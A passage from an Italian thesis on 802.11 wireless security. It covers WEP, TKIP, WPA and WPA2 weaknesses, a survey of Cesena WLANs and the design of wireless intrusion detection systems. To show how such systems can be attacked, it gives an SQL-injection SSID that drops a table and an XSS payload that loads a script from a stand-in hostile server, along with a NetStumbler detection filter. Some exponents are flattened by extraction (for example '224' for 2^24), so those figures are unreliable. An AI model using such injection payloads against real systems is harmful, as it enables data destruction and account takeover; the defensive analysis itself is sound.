accorto non dovrebbe essere sfuggito il presupposto implicito di staticita

della rete; questa considerazione, unita all’ipotesi di delimitazione fisica

del mezzo di trasmissione, costituisce la causa primaria dell’incapacita degli

strumenti classici ad adattarsi e sopravvivere autonomanente in ambienti

wireless. Approfondiremo in dettaglio l’argomento nel capitolo 4.

Capitolo 3

Tecnologie di protezione per

reti wireless 802.11

Pochi standard commercialmente affermati hanno sostenuto evoluzioni tanto

repentine e turbolente quanto quelle subite dalle tecnologie wireless 802.11. Il

loro breve arco di vita e costellato di molteplici e spesso radicali cambiamenti;

modalita di trasmissione, frequenza e implementazione delle procedure di

sicurezza rappresentano gli esempi piu ecclatanti.

Concentreremo su quest’ultima tematica l’intero capitolo, discutendo i va-

ri standard adottati dalla commissione IEEE e dalla Wi-Fi Alliance nel corso

degli anni. In particolare ne sottolineremo le vulnerabilita e, laddove giusti-

ficabile, forniremo alcune attenuanti agli errori progettuali e implementativi

commessi.

3.1 Wired Equivalent Privacy

In tutta la storia dell’informatica pochi esempi sono emblematici di un’inge-

gneria cosı sciatta e negligente come quella che descriveremo in sezione.

20 Tecnologie di protezione per reti wireless 802.11

Definito nel 1997, WEP (Wired Equivalent Privacy) nasce come parte

integrante della specifica 802.11 con l’intenzione di garantire un livello di

riservatezza paragonabile alla rete cablata. I suoi progettisti, presumibil-

mente troppo preoccupati per l’uscita del primo Harry Potter [13], dovettero

pensare che l’acronimo significasse piuttosto

Why Ensure Protection?

Questa critica, volutamente pesante, non e gratuita. A memoria, nessun’altro

standard e stato vittima di una quantita di falle cosı gravi da essere sosti-

tuito e deprecato dopo pochi anni dalla sua introduzione. Simili episodi non

possono essere commentati come “casuali fatalita”. Sperando costituiscano

almeno un monito e una lezione per il futuro, analizziamo le cause di questo

rovinoso epilogo.

Figura 3.1: Stadi crittografia WEP

Il processo di crittografia WEP, illustrato in Figura 3.1, basa il proprio

funzionamento su una chiave segreta precondivisa dai due attori in gioco e

3.1 Wired Equivalent Privacy 21

sull’algoritmo RC4, originariamente ideato da Ron Rivest nel 1987; RC4 e il

piu famoso e utilizzato stream cipher, un generatore di sequenze pseudoca-

suali di bits particolarmente adoperato nelle vecchie implementazioni SSL.

Per perturbare l’algoritmo, ad evitare che generi sempre il medesimo

stream, WEP impiega un vettore di inizializzazione (IV, Initialisation Vec-

tor) di 24 bits concatenato alla chiave segreta: variando il vettore nel tempo,

in particolare ad ogni frame, cambia il flusso prodotto. A seguire uno XOR

a due vie processa lo stream assieme al payload da trasmettere, a cui e

stato preventivamente accodato un checksum CRC-32 adibito a garantirne

l’integrita. Il vettore IV e infine allegato in chiaro al payload cifrato, per

permettere al ricevente di decifrare i dati invertendo il procedimento.

trasmettitore: T = IV ‖ {RC4(IV ‖ K)⊕ [P ‖ CRC32(P )]}

ricevitore: P ′ = P ‖ CRC32(P ) = RC4(IV ‖ K)⊕ (T − IV )

Non descriveremo dettagliatamente l’escalation di vulnerabilita, esemplifica-

ta in Figura 3.2, che seguı all’introduzione di tale tecnologia; limitiamo le

nostre critiche a poche mirate osservazioni.

Consideriamo innanzitutto il vettore IV. Il dato, variato ad ogni frame,

assicura 224 possibili perturbazioni dell’algoritmo RC4. Un valore all’appa-

renza enorme ma decisamente piccolo se raffrontato al traffico di una rete

WLAN, in cui e mediamente saturabile in 6-12 ore; si noti inoltre come il

processo, basandosi su una chiave condivisa tra tutti gli utilizzatori, accelleri

in maniera lineare all’aumentare del numero dei client. Un’accurata analisi

condotta da Fluhrer, Mantin e Shamir nel 2001 [15] dimostro come un even-

tuale aggressore, intercettando passivamente tramite sniffer la trasmissione e

collezionando un numero opportuno di pacchetti, potesse correlare due pac-

chetti cifrati con lo stesso IV e risalire alla chiave. Shamir attribuı la sgradita

abilita a RC4, affetto da forte low sampling resistance (definito da Biryukov,

Shamir e Wagner in [16]) cioe uno stretto legame tra alcune classi di input e

i corrispettivi pattern di output.


Figura 3.2: Vulnerabilita WEP [14]

Per limitare l’efficacia dell’attacco, inizialmente fu proposto di incremen-

tare la chiave dagli originari 40 a 104 bits (WEP64 e WEP128, oltre a ver-

sioni proprietarie WEP152 e WEP256). I problemi di interoperabilita con

gli apparecchi gia in commercio e la sostanziale inefficacia della soluzione

[17] hanno presto sconfessato tale pratica. Attualmente, difatti, la quantita

di informazioni per eseguire un attacco e il tempo necessario ad ottenerle

dipende piuttosto dalle capacita dell’aggressore che dalla dimensione della

chiave WEP; studi recenti [18] evidenziano WEP128 decifrate in meno di

sessanta secondi.

La seconda principale preoccupazione riguarda l’integrita del messaggio.

Il checksum CRC32 accodato al payload e concepito per rilevare errori casuali

di comunicazione e non manomissioni intenzionali; ne deriva che alterazioni

apportate sia ai dati che al corrispondente checksum non sono accertabili.

3.2 Temporal Key Integrity Protocol 23

Un aggressore esperto, anche sprovvisto della chiave, puo dunque iniettare

traffico nella rete (packet injection) senza che il destinatario possa ricono-

scerlo come tale. Questa manifesta violazione del concetto di integrity e

assolutamente inaccettabile in quanto qualunque dato diviene potenzialmen-

te inattendibile e percio insicuro. Il protocollo WEP fallisce tutti i suoi

propositi.

Sebbene tutti gli esperti concordino sulla sua inadeguatezza, WEP e

tutt’oggi ancora largamente utilizzato. Tale affermazione sara verificata

sperimentalmente nel caso di studio presentato in sez. 3.6.

3.2 Temporal Key Integrity Protocol

Ben presto il livello di insicurezza WEP-based divenne inaccettabile per la

comunita IT; gli utilizzatori necessitavano rapidamente un successore che non

stravolgesse l’infrastruttura e, soprattutto, non obbligasse la sostituzione del-

l’hardware preesistente. TKIP (Temporal Key Integrity Protocol) nasce per

soddisfare questi bisogni, un wrapper software del protocollo WEP adibito a

correggerne le maggiori falle attraverso tre importanti innovazioni: un am-

pliato vettore IV di 48 bits, il concetto di chiave temporanea e un nuovo

controllo di integrita (MIC).

Per risolvere gli inconvenienti derivanti dalle debolezze di RC4, Ron Ri-

vest propose l’introduzione di un meccanismo di key mixing per garantire

chiavi diverse ad ogni pacchetto. Il procedimento, per minimizzare il costo

computazionale e permetterne l’implementazione sui prodotti gia esistenti,

e suddiviso in due fasi. Tramite una Sostitution Box (S-box, una tabella di

sostituzione non lineare), la prima fase combina la chiave segreta precondi-

visa TK (Temporal Key, 128 bits), il MAC address della scheda locale e i 32

bits piu significativi del vettore IV; la dipendenza dal MAC address locale

ha l’immediato apprezzabile vantaggio di produrre valori differenti per ogni


client. Sfruttando i rimanenti 16 bits di IV la seconda fase assicura sino a 216

chiavi WEP: tuttavia, per maggiore sicurezza, TKIP forza il rinnovo della

prima fase ogni 10000 pacchetti (≈ 213.3).

I due segmenti del vettore IV, incrementati nelle rispettive fasi, operano

come contatori (Counter Mode) e, raggiunto il valore limite, impongo-

nono l’interruzione del traffico: una limitazione ininfluente, considerato che

una rete 802.11g a 54Mbps satura uno spazio di 248 pacchetti in approssi-

mativamente 500/600 anni. TKIP, inoltre, affronta le problematiche legate

all’integrita dell’informazione affidandosi a MIC (Message Integrity Check,

noto anche come Michael), un algoritmo di hashing one-way per precalcolare

un’impronta del messaggio da allegare ai dati in trasmissione: il ricevente,

confrontando l’hash con quello computato localmente sui dati ricevuti, ne

verifica la correttezza prevenendo attacchi basati su packet-injection. Con-

statato un errore, TKIP impone il rinnovo della chiave generata nella prima

fase, limitando tale procedura una volta al minuto.

TKIP, in conclusione, adempie effettivamente alle promesse di rafforzare

il protocollo WEP. Comparato a quest’ultimo e pero decisamente piu costoso

in termini di cicli di calcolo, tanto da degradare sensibilmente le prestazio-

ni degli access point piu economici; buon compromesso per il riutilizzo di

hardware legacy rappresenta comunque un ottimo esempio di ingegneria.

3.3 Wi-Fi Protected Access

La Wi-Fi Alliance, spinta dalla crescente esigenza di sicurezza, rilascio verso

la meta del 2003 una serie di raccomandazioni per un nuovo protocollo ba-

sato sulle proposte, allora ancora abbozzate, del futuro IEEE 802.11i. Oggi

conosciuto come WPA (Wi-Fi Protected Access), e sostanzialmente un’e-

stensione dell’architettura WEP realizzata tramite TKIP e MIC che offre,

in aggiunta, funzionalita di autenticazione e distribuzione delle chiavi; l’im-

plementazione di quest’ultimo fattore discrimina tra le due diverse modalita

3.3 Wi-Fi Protected Access 25

disponibili, personal ed enterprise.

La versione personal, o consumer, opera mediante una chiave precondivisa

(PSK, Pre-Shared Key) di 256 bits da cui, ad ogni nuova associazione, deriva

una PMK (Pairwise Master Key) mediate la formula [19]

PMK = PBKDF2(PSK, SSID, SSID.length, 4096, 256)

PBKDF2 (Password-Based Key Derivation Function) genera una PMK

da 256 bits iterando 4096 volte l’algoritmo sulla concatenazione della PSK,

del SSID e della lunghezza di quest’ultimo. Questo procedimento, det-

to di key strengthening, riduce notevolmente l’efficacia degli attacchi a

dizionario.

Figura 3.3: Gerarchia delle chiavi WPA/WPA2

Come delineato in Figura 3.3, dalla PMK discende una PTK (Pairwise

Temporal Key) attraverso la quale e ottenuta la chiave TK necessaria a TKIP.

Disgraziatamente la PTK e scambiata nel secondo pacchetto dell’handshake

a quattro vie eseguito in fase di associazione e se intercettata diviene suscet-

tibile ad attacchi a dizionario [19], assai pericolosi perche effettuabili anche


off-line. Oltretutto un aggressore puo facilmente forzare la ri-associazione dei

clients. Uno dei meccanismi di protezione presente in WPA, difatti, prevede

lo shutdown automatico della rete per un minuto se rileva almeno due pac-

chetti al secondo cifrati con una chiave errata: oltre ad agevolare la cattura

della PTK, cio conduce ad attacchi DOS teoricamente permanenti.

Nell’intento di scoraggiare l’aggressore, l’unica reale soluzione risiede nel-

l’adoperare password alfanumeriche molto lunghe (almeno 20 caratteri). Tut-

tavia si osservi il sussistere di progetti di cracking [20] basati su Rainbow

Tables [21], una tecnica per la ricerca di password in archivi di hash precal-

colati, composte da oltre un milione di chiavi associate ad un migliaio dei

SSID piu comuni. Numerosi break-test dimostrano incrementi di velocita

nella ricerca della PSK nell’ordine di 104.

La modalita enterprise, viceversa, presuppone una struttura RSN (Ro-

bust Security Network), esplificata in Figura 3.4.

Figura 3.4: Autenticazione tramite server RADIUS [22]

In RSN il supplicant contatta l’authenticator per negoziare l’autentica-

zione: la sicurezza della comunicazione e assicurata dal framework EAP, in

una delle sue specifiche implementazioni. Prima di consentire l’accesso alla

rete l’authenticator instrada le credenziali fornitegli verso un server RA-

DIUS (Remote Authentication Dial In User Service), standard de-facto per

l’authetication server. Terminata la verifica, il supplicant e il server condivi-

3.4 Wi-Fi Protected Access 2 27

dono una PMK (vd. Figura 3.3) e procedono nell’handshake di associazione

descritto in precedenza.

Sebbene la modalita enterprise offra un grado di sicurezza molto elevato,

i costi e le complessita legate all’utilizzo di un server RADIUS ne hanno

scoraggiato l’adozione tra le piccole e medie imprese e gli utenti domestici.

Tuttavia, recentemente, si osserva la diffusione di soluzioni RADIUS user-

friendly integrate negli access point, avvalendosi di protocolli EAP leggeri

come TinyPEAP.

3.4 Wi-Fi Protected Access 2

Nel settembre del 2004, dopo alcuni anni di lavoro, e stato finalmente rila-

sciato il nuovo standard di sicurezza IEEE 802.11i CCMP (Counter-Mode-

CBC-MAC Protocol) [23], prontamente ribattezzato dal mercato in WPA2.

Pur essendo privo, al pari di TKIP, dei difetti riscontrati in WEP, CCMP

ha il pregevole vantaggio di un’architettura completamente rinnovata e pie-

namente aderente alle specifiche RSN.

WPA2, anch’esso disponibile in formato personal ed enterprise, mantiene

la retrocompatibilita con i dispositivi WPA e prevede, inoltre, una modalita

di funzionamento mista per agevolarne la transizione.

Abbandonato definitivamente RC4, CCMP si avvale dell’algoritmo AES

(Advanced Encryption Standard), noto anche come Rijndael dal nome dei

suoi inventori, Joan Daemen e Vincent Rijmen. AES e un sofisticato block-

cipher, un sistema di cifratura a gruppi prefissati di bits che, tramite una

chiave, pone univocamente in relazione un blocco in input con un blocco di

output. Per operare in ambienti wireless, limitando contemporaneamente i

costi e il degrado di performance, l’implementazione 802.11i prevede l’impiego

di chiavi ristrette a 128 bits unitamente alle tecniche di Counter Mode e di

CBC-MAC (Cipher Block Chainging - Message Authentication Code), spesso


denotate assieme come CCM.

Analogalmente a TKIP, il Counter Mode e basato su un vettore IV di

48 bit incrementato sequenzialmente ad ogni pacchetto; CBC-MAC, vicever-

sa, sostituisce sia MIC sia l’inadatto checksum CRC32 del protocollo WEP,

rafforzando significativamente il controllo di integrita.

CCMP ricorre al medesimo algoritmo di distribuzione delle chiavi adope-

rato in WPA e presentato in Figura 3.3. Di conseguenza la variante personal e

ugualmente vulnerabile ad attacchi a dizionario eseguiti off-line, sebbene me-

no efficaci a causa della maggiore complessita computazionale della cifratura

AES. Giovano pertanto le stesse raccomandazioni espresse in precedenza.

CCMP, con la sua elegante e robusta struttura, e attualmente considerato

sufficientemente robusto e sicuro per praticamente qualsiasi ambito, inclusi

quelli governativi [24] [25] .

Concludiamo riassumendo e confrontando in Tabella 3.1 gli standard di

sicurezza per le reti wireless 802.11.

WEP TKIP (WPA) CCMP

Cifratura RC4 RC4 AES

Chiave di cifratura 40 o 104 bits 128 bits 128 bits

Dimensione IV 24 bits 48 bits 48 bits

Gestione IV Non definita Counter Mode Counter Mode

Integrita header No Michael CBC-MAC

Integrita dati CRC32 Michael + CRC32 CBC-MAC

Distribuzione chiavi No 802.1X (EAP) 802.1X (EAP)

Tabella 3.1: Standard di sicurezza 802.11

3.5 Sviluppi futuri: 802.11w 29

3.5 Sviluppi futuri: 802.11w

Tutti i precedenti protocolli forniscono, in maniera piu o meno valida, un sup-

porto per la protezione del traffico dati. Tuttavia lo standard 802.11 definisce

altre due tipologie di frame per la gestione e la coordinazione delle comunica-

zioni, rispettivamente i management frame (autenticazioni, associazioni,

ecc...) e i control frame (ACK e RTS/CTS, ad esempio). In particola-

re i management frame, soprattutto con l’implementazione delle prossime

estensioni 802.11r, 802.11k e 802.11v, trasportano informazioni sensibili e ti-

picamente sono bersaglio di molti comuni attacchi DOS (vd. sez. 4.2.5); per

risolvere queste problematiche la IEEE ha formalizzato un nuovo gruppo di

lavoro, 802.11w, le cui specifiche sono attese per Marzo-Aprile 2008.

Presumibilmente, 802.11w introdurra tre diversi meccanismi di sicurezza

[26]. Il primo estendera l’utilizzo degli algoritmi TKIP/CCM anche ai ma-

nagement frame trasmessi in modalita unicast, cioe tra un solo client e un

access point, garantendone confidentiality e integrity. Il secondo, viceversa,

sara riservato ai frame broadcast ed usufruira di un controllo d’integrita MIC

per evitare iniezioni malevoli da parte di soggetti non associati alla rete. Un

terzo procedimento, basato sull’uso di chiavi one-time, dovrebbe assicurare

l’autenticita dei messaggi di disassociazione e deautenticazione. In ogni caso,

il funzionamento di tali tecniche presuppone che il client e l’access point ab-

biano gia scambiato una PTK e, pertanto, 802.11w non eliminera le tematiche

relative all’intercettazione e al cracking delle password WPA/WPA2.

Queste novita, teoricamente, richiederanno solamente un aggiornamento

del firmware dei dispostivi.


3.6 Caso di studio: WLAN citta di Cesena

Analizzati gli standard di sicurezza offerti dal mercato, e lecito e interessante

domandarsi quali di questi siano effettivamente utilizzati. Come caso di

studio abbiamo investigato 240 reti WLAN della citta di Cesena nell’area

attorno alle due sedi della Seconda Facolta di Ingegneria dell’Universita di

Bologna. Gli strumenti adoperati per la rilevazione saranno descritti nel

capitolo 5, mentre si rimanda all’Appendice B per le note legali.

Il nostro lavoro, graficato in Figura 3.5, mostra una situazione diffusa-

mente critica, sebbene attesa. Oltre il 42% delle reti esaminate (segnalate in

rosso) risultano aperte, il 28% implementa soluzioni WEP (in giallo) mentre

solo un 30% usufruisce delle tecnologie TKIP e CCMP (in verde); in parti-

colare un’unica intranet impiega la crittografia AES-CCM.

Recuperando le osservazioni espresse riguardo l’inefficacia del protocollo

WEP possiamo tranquillamente sostenere che il 70% delle reti considerate

sono intrinsicamente insicure. Tra i propriequeste troviamo anche banche,

studi notarili e una caserma dei carabinieri. Si invita il lettore a riflettere sul

significato di tali affermazioni.

3.6 Caso di studio: WLAN citta di Cesena 31

Figura 3.5: Stato delle reti WLAN nella citta di Cesena

Capitolo 4

Wireless IDS

Abbiamo gia notato che il protocollo CCMP, specialmente nella variante en-

terprise, e piu che idoneo a garantire sia le autenticazioni sia le comunicazioni

dei clients. Ingenuamente potremmo ritenerlo sufficiente. Tuttavia l’utilizzo

del mezzo radio, per sua stessa natura non confinabile entro precisi perimetri

fisici, incrementa esponenzialmente le gia vaste tecniche di attacco in direzio-

ni ortogonali a quelle risolte con l’adozione di un canale crittograficamente

sicuro.

In questa fase e fondamentale ricordare che seppure consapevoli di non

potere assicurare il rispetto del paradigma C.I.A, a causa dell’assioma di sez.

1.3, aspiriamo a soluzioni migliori della mera constatazione di un’avvenuta in-

trusione: necessitiamo di sistemi di rilevamento e monitoraggio simili agli IDS

ma al contempo riprogettati in un’ottica orientata ad ambienti wireless. Per-

tanto procediamo nello studio dei Wireless Intrusion Detection System

analizzandone l’infrastruttura, le nuove problematiche e, infine, presentando

Kismet come caso di studio.

34 Wireless IDS

4.1 Architettura

Nel descrivere la tipica struttura dei WIDS potremmo ripercorrere l’espo-

sizione di sez. 2.2, distinguendo tra configurazioni host e network based o

tra controlli on-line e off-line. Un sistema wireless, pero, e indiscutibilmente

distribuito e oltremodo variabile nel tempo. In conseguenza un’impostazione

host based o in ogni caso prettamente off-line e inefficace nel confrontarsi con

le sfide proposte. Queste considerazioni hanno condotto, quasi unicamente,

allo sviluppo di architetture basate sulla collaborazione tra sensori e uno o

piu server di analisi (vd. Figura 4.1).

Figura 4.1: Struttura Wireless IDS

4.1.1 Reti di sensori

Un sensore WLAN e, sostanzialmente, uno sniffer idoneo a catturare frame

802.11. In particolare e necessaria una modalita speciale chiamata moni-

4.1 Architettura 35

tor mode o RFMON (Radio Frequency Monitoring) che, diversamente da

quella promiscua descritta in sez. 2.2, consente di osservare anche il traffico

appartenente a reti a cui non si e associati, includendo oltretutto gli header

e i frame di gestione del protocollo 802.11 [27]. Non tutte le schede di rete

dispongono di driver con supporto RFMON: parte dell’hardware presenta so-

luzioni piu o meno sofisticate per Linux e, in modo minore, per BSD e MAC

OS X. Prodotti commerciali di terze parti forniscono un limitato ausilio anche

per la piattaforma Windows.

Suddividiamo concettualmente i sensori in tre macro categorie: integrati,

passivi e attivi.

I sensori integrati impiegano gli stessi access point adibiti al traffico da-

ti, alternando al normale comportamento le funzioni di rilevamento. Questa

scelta, sebbene abbatta totalmente i costi relativi all’acquisto di ulteriore

hardware, esibisce due grandi svantaggi. In primo luogo, intervallare le due

funzionalita degrada le performance della rete e dunque il throughput di en-

trambe le operazioni. Assai piu critico e il secondo aspetto: unire un servizio

con i propri meccanismi di controllo e tipicamente una pessima decisione in

quanto introduce un grave “singol point of failure” in ambedue i sistemi; un

attacco all’access point (il servizio) origina una rottura nelle politiche del sen-

sore (il controllo) e viceversa. Pertanto, se non sussistono evidenti problemi

di budget, tale opzione e sconsigliabile.

I sensori passivi sono semplici ripetitori di segnale che reinstradano l’in-

tero traffico direttamente al server WIDS. Sono un’alternativa decisamente

economica e, difatti, sono largamente utilizzati quando la zona da monito-

rare e molto vasta ed il numero di dispositivi necessari e elevato. Questa

alternativa sposta il “singol point of failure” dai sensori al server WIDS che,

sovraccaricato dall’enorme flusso dati, rischia rallentamenti e/o crolli.

I sensori attivi, o intelligenti, sono in assoluto la soluzione tecnologi-

camente piu efficace ed evoluta, priva delle debolezze sopra elencate. Con-

trariamente ai precedenti, effettuano delle operazioni di scrematura sui dati

36 Wireless IDS

in transito ed inviano al server unicamente il traffico sospetto. Il criterio di

selezione dipende dalla particolare implementazione e, generalmente, condi-

ziona fortemente la complessita interna del dispositivo. Gli elevatissimi costi,

tuttavia, hanno relegato questi prodotti a mercati di nicchia in cui il numero

di sensori e limitato e, in ogni caso, la spesa e un fattore secondario.

Trascurando i sistemi integrati, l’aspetto cruciale che determina il suc-

cesso o, viceversa, il fallimento di un WIDS e l’ubicazione dei sensori. Il

suggerimento piu comune, indubbiamente errato, ne prevede la collocazio-

ne esclusivamente nei pressi degli access point. Sebbene sia essenziale di-

sporre di sensori in tali posizioni, in cui di norma si concentra il traffico, e

comunque indispensabile controllare una superfice notevolmente piu ampia

comprendendo le zone limitrofe all’area interessata come, ad esempio, i par-

cheggi. Osserviamo, a dimostrazione di quanto detto, l’attacco Evil-Twin

(lett. “gemello malvagio”) ritratto in Figura 4.2.

Figura 4.2: Un attacco Evil-Twin

4.1 Architettura 37

Interferendo con un segnale piu intenso, l’intruso induce un client ad

associarsi al proprio access point, preventivamente configurato con lo stesso

SSID della rete in esame; ora la vittima, inconsapevolmente, trasmette i

propri dati all’aggressore mentre il sensore ignora completamente l’accaduto:

nel caso migliore ha constatato la disassociazione del client ma non puo

rilevare ne la presenza dell’intruso, magari distante e appostato in auto, ne

il suo access point e, pertanto, non avvisa del pericolo. Una verifica delle

nostre considerazioni che attesta l’importanza di eseguire approfonditi rilievi

sperimentali prima di definire la sistemazione dei sensori.

I sensori, a qualunque famiglia appartengano, comunicano le informazioni

acquisite ad uno o piu server adibiti alle successive operazioni di controllo.

Il collegamento puo essere stabilito tramite la rete cablata o per mezzo della

WLAN stessa: la rete cablata garantisce performance e sicurezza maggiori

ma impone la disponibilita di prese ethernet attigue ai sensori, vincolandone

di fatto le possibili dislocazioni; l’impiego della WLAN, viceversa, libera da

limitazioni fisiche ma, oltre a degradare le prestazioni della rete, introduce

nel sistema un ulteriore “singol point of failure” e si presta piu facilmente ad

interferenze e denial of service. In ogni caso e imprescindibile adoperarsi per

autenticare e cifrare tutte le trasmissioni utilizzando protocolli notoriamente

“sicuri” quali SSL3/TLS. Inoltre e opportuno impedire ai sensori di stabilire

connessioni in ingresso per evitare che potenziali malintenzionati tentino di

corromperne la configurazione: in tale circostanza sono direttamente i sensori

che, a polling, richiedono al server gli eventuali aggiornamenti.

4.1.2 Correlazione, analisi e notifica: il server WIDS

Il server WIDS, o un corrispettivo cluster, definisce, di regola, una pipeline

composta da tre stadi: correlazione, analisi e notifica.

La correlazione costituisce la prima fase, indispensabile non solo per rag-

gruppare i frame appartenenti alle medesime connessioni di livello superiore

38 Wireless IDS

ma innanzitutto per relazionare le informazioni ricevute dai diversi sensori.

Questo permette, ad esempio, di eliminare i duplicati e non notificare piu

volte lo stesso problema. Inoltre, maggiormente rilevante, consente al server

di acquisire una visione d’insieme, necessaria per riconoscere attacchi come il

mac spoofing o l’iniezione di traffico che richiedono una conoscenza globale,

e non puramente locale, dello stato della rete in esame.

Durante l’analisi i dati dello strato precedente, generalmente memoriz-

zati in appositi database, sono processati e sottoposti a svariati controlli atti

a individuare e classificare per gradi di rischio gli eventuali attacchi; le solu-

zioni piu complete, inoltre, prevedono la possibilita di connettere in cascata

un IDS per esaminare i protocolli superiori. In modo simile a quanto de-

scritto in sez. 2.2, distinguiamo tra WIDS misuse-based e anomaly-based: si

noti, tuttavia, che i prodotti attualmente disponibili esibiscono funzionalita

prettamente misuse-based con basse, o nulle, capacita anomaly-based. Nel-

la sezione 4.2 approfondiremo in dettaglio diverse signatures comunemente

utilizzate e proporremo alcuni spunti per nuovi algoritmi anomaly-based.

Lo stadio di notifica e preposto ad avvisare l’amministratore generando

un alert quando l’analisi riscontra un probabile attacco. Il componente di

notifica non e un passivo segnalatore di eventi ma, al contrario, e preposto

ad organizzare tempestivamente gli alert distribuendoli, in base alla loro

priorita, tra diversi mezzi di comunicazione quali SMS, e-mail, console e

simili interfacce di controllo.

4.1.3 Interfaccia

Il modulo di interfaccia correda il sistema con uno strumento di gestione

e supervisione abile a monitorare e modificare la configurazione del server

WIDS e/o dei sensori: permette, essenzialmente, di integrare i vari elementi

in una struttura uniforme e apparentemente centralizzata. Indubbiamente la

popolarita di un prodotto e fortemente condizionata dall’esistenza di un’in-

4.1 Architettura 39

terfaccia efficiente e soprattutto intuitiva, pertanto e compito del progettista

presentare le informazioni in modo chiaro e ordinato, suddividendole in classi

concettuali. Gli alert, ad esempio, dovrebbero essere ordinati per gravita e

tipologia e, inoltre, opportunamente riassunti per consentirne una piu rapida

individuazione; in questo modo l’amministratore focalizza l’attenzione uni-

camente sui dati significativi e, solo se necessario, visualizza ulteriori dettagli

come il dump completo del traffico. Quasi tutte le attuali implementazioni,

sia per praticita e portabilita sia per fenomeni di moda e tendenza, sfruttano

le moderne tecnologie web unite a rigide politiche RBAC (vd. sez. 1.2).

Figura 4.3: Architettura WIDS

Osserviamo, in conclusione, che operiamo su dati provenienti da fonti

potenzialmente ostili e percio propense ad attacchi volti a compromettere il

funzionamento del WIDS stesso [28]. Ad esempio, sapendo che generalmen-

te questi sistemi utilizzano un database di appoggio, un aggressore scaltro

potrebbe plasmare un frame contenente il seguente codice SQL nel SSID,

consapevole che i sensori lo intercetteranno:

40 Wireless IDS

’; drop table ...;--

Se l’anomalia non e opportunamente gestita in fase di analisi, la query adibita

alla memorizzazione dell’alert non solo fallisce ma comporta la cancellazione

dell’intero database; l’intruso ha ottenuto un eccellente quanto pericoloso

caso di SQL-Injection. I prodotti provvisti di interfacce web, inoltre, sono

propensi ad attacchi XSS (Cross-Site Scripting) sfruttabili con procedure

simili a quella appena descritta. Un amministratore, esaminando il resoconto

di un alert in cui e stato incautamente incluso il seguente codice malevolo,

esegue con i propri diritti lo script preparato dall’aggressore, abilitandolo a

praticamente qualsiasi operazione.

"><script src="server_ostile/script_malevolo.js"></script>

Intuitivamente la presenza di simili vulnerabilita, tipiche di un’implemen-

tazione frettolosa e trascurata, sono la peggiore disgrazia per un software

di sicurezza; questi, pertanto, dovrebbero essere progettati con la massima

attenzione ai particolari e sottoposti a severe sessioni di testing prima di

essere commercializzati.

4.2 Attacchi e contromisure

Proseguiamo il nostro studio commentando le piu note metodologie d’attacco

ai sistemi WLAN, delineandone parallelamente possibili contromisure non

necessariamente adottate dai WIDS esistenti.

4.2.1 Sniffer e wardriving

Abbiamo gia brevemente discusso il termine sniffing in sez. 1.4. Un ambien-

te wireless, tuttavia, espande indefinitamente le potenzialita di tale tecnica,

4.2 Attacchi e contromisure 41

tanto da imporre una ritrattazione piu approfondita e mirata. Ovviamente

e lecito domandarsi quale motivo promuova tale scelta: il comune atteggia-

mento di ogni aggressore in procinto di attaccare una rete a lui sconosciuta

e senza dubbio la migliore giustificazione. Chiunque abbia un minimo di

esperienza, difatti, svolge una piu o meno lunga fase di preparazione detta

information gathering in cui cerca di conoscere quanti piu dettagli pos-

sibile sull’obiettivo; questa attivita trascende sia dalle tecnologie (vd. social

engineering in sez. 1.4) sia dal settore informatico ed e applicato in campo

militare, intelligence, marketing e molti altri.

In realta, introducendo i sensori e la modalita RFMON, abbiamo gia an-

ticipato il principale strumento a disposizione dei nostri avversari. Gli even-

tuali aggressori monitoreranno tutti i canali definiti dallo standard 802.11

tramite un sensore, tipicamente equipaggiato con un’antenna esterna ad alto

guadagno per garantire l’intercettazione dei dati anche da distanze considere-

voli. Questo e inequivocabilmente il principale svantaggio rispetto ai nostri

ostili rivali: non possiamo, in generale [29], localizzare un intruso fintanto

che permane in una modalita passiva come RFMON. Ovviamente se in un

determinato momento la nostra rete non genera traffico tale espediente e

inutile pertanto la maggior parte degli aggressori privilegia tecniche di scan-

sione attiva, anche perche i sistemi Windows non supportano nativamente la

modalita monitor.

In ogni caso, negli anni, l’idea di identificare reti WLAN si e sviluppata

come una vera e propria moda detta wardriving; tale fenomeno, non ri-

chiendo ne particolari competenze tecniche ne hardware specifico (un PDA

o un portatile), e solitamente perpetrata per hobby, studio o per connetter-

si gratuitamente a banda larga alla rete Internet. I software comunemente

utilizzati sono, principalmente, solo due e appartengono alle contrapposte

categorie di scanner attivi e passivi, NetStumbler e Kismet. La mappa della

rete riprodotta in Figura 3.5 e un esempio di wardriving realizzato abbinando

a Kismet un’antenna GPS e le Google Maps API [30].

42 Wireless IDS

Nonostante il wardriving non costituisca un vero e proprio attacco, e piu

in generale nemmeno un reato (vd. appendice B), siamo comunque interessa-

ti a monitorarne l’attivita in quanto rappresenta una potenziale minaccia alla

sicurezza della nostra rete. Purtroppo, come gia evidenziato, dovremo limi-

tare le nostre osservazioni ai soli scanner attivi: considerata la sua diffusione,

concentreremo il nostro studio sul solo NetStumbler sebbene in letteratura

esistano pattern anche per altri software quali Wellenreiter, DStumbler e

perfino Windows XP [31].

Rilevare NetStumbler

NetStumbler e verosimilmente lo strumento piu popolare e adoperato tra gli

amanti del wardriving; disponibile per Windows 2000/XP e CE, e caratte-

rizzato da una GUI (Graphic User Interface) amichevole che ne semplifica

enormemente l’uso. NetStumbler trasmette ripetutamente probe request,

un tipo di frame per richiedere informazioni ad un access point, in modalita

broadcast: cio e perfettamente conforme alle specifiche IEEE 802.11, pertan-

to e difficile individuare un tentativo di scansione. Fortunatamente alcune

versioni di NetStumbler (0.3.20∼0.3.30), ogni volta che rilevano un nuovo

access point, inviano un ulteriore frame il cui pattern e stato ampiamente

documentato in [31]. In particolare due campi del protocollo LLC, OUI

(Organizationally Unique Identifier) e PID (Protocol Identifier), sono siste-

maticamente impostati ai valori 0x00601D e 0x0001; il payload dati, inoltre,

contiene una delle stringhe riportate in Tabella 4.1.

Versione Payload ASCII ID

0.3.20 Flurble gronk bloopit, bnip Frundletrune 41:6C:6C:20

0.3.23 All your 802.11b are belong to us 46:6C:72:75

0.3.30 Una serie di spazi vuoti 20:20:20:20

Tabella 4.1: Payload caratteristici per identificare NetStumbler

Determinare una scansione e, percio, relativamente facile; ad esempio


potremmo impiegare il seguente filtro per Wireshark/Ethereal, sostituendo

ad ASCII ID l’opportuna rappresentazione del payload in codice ASCII.

(wlan.fc.type_subtype eq 32) and

(llc.oui eq 0x00601D and llc.pid eq 0x0001) and

(data[4:4] eq ASCII_ID)

Disgraziatamente l’ultima versione di NetStumbler (0.4) e insensibile a questi

espedienti. Proponiamo pertanto una soluzione alternativa, attualmente

non implementata, basata sullo studio delle anomalie prodotte dagli scan-

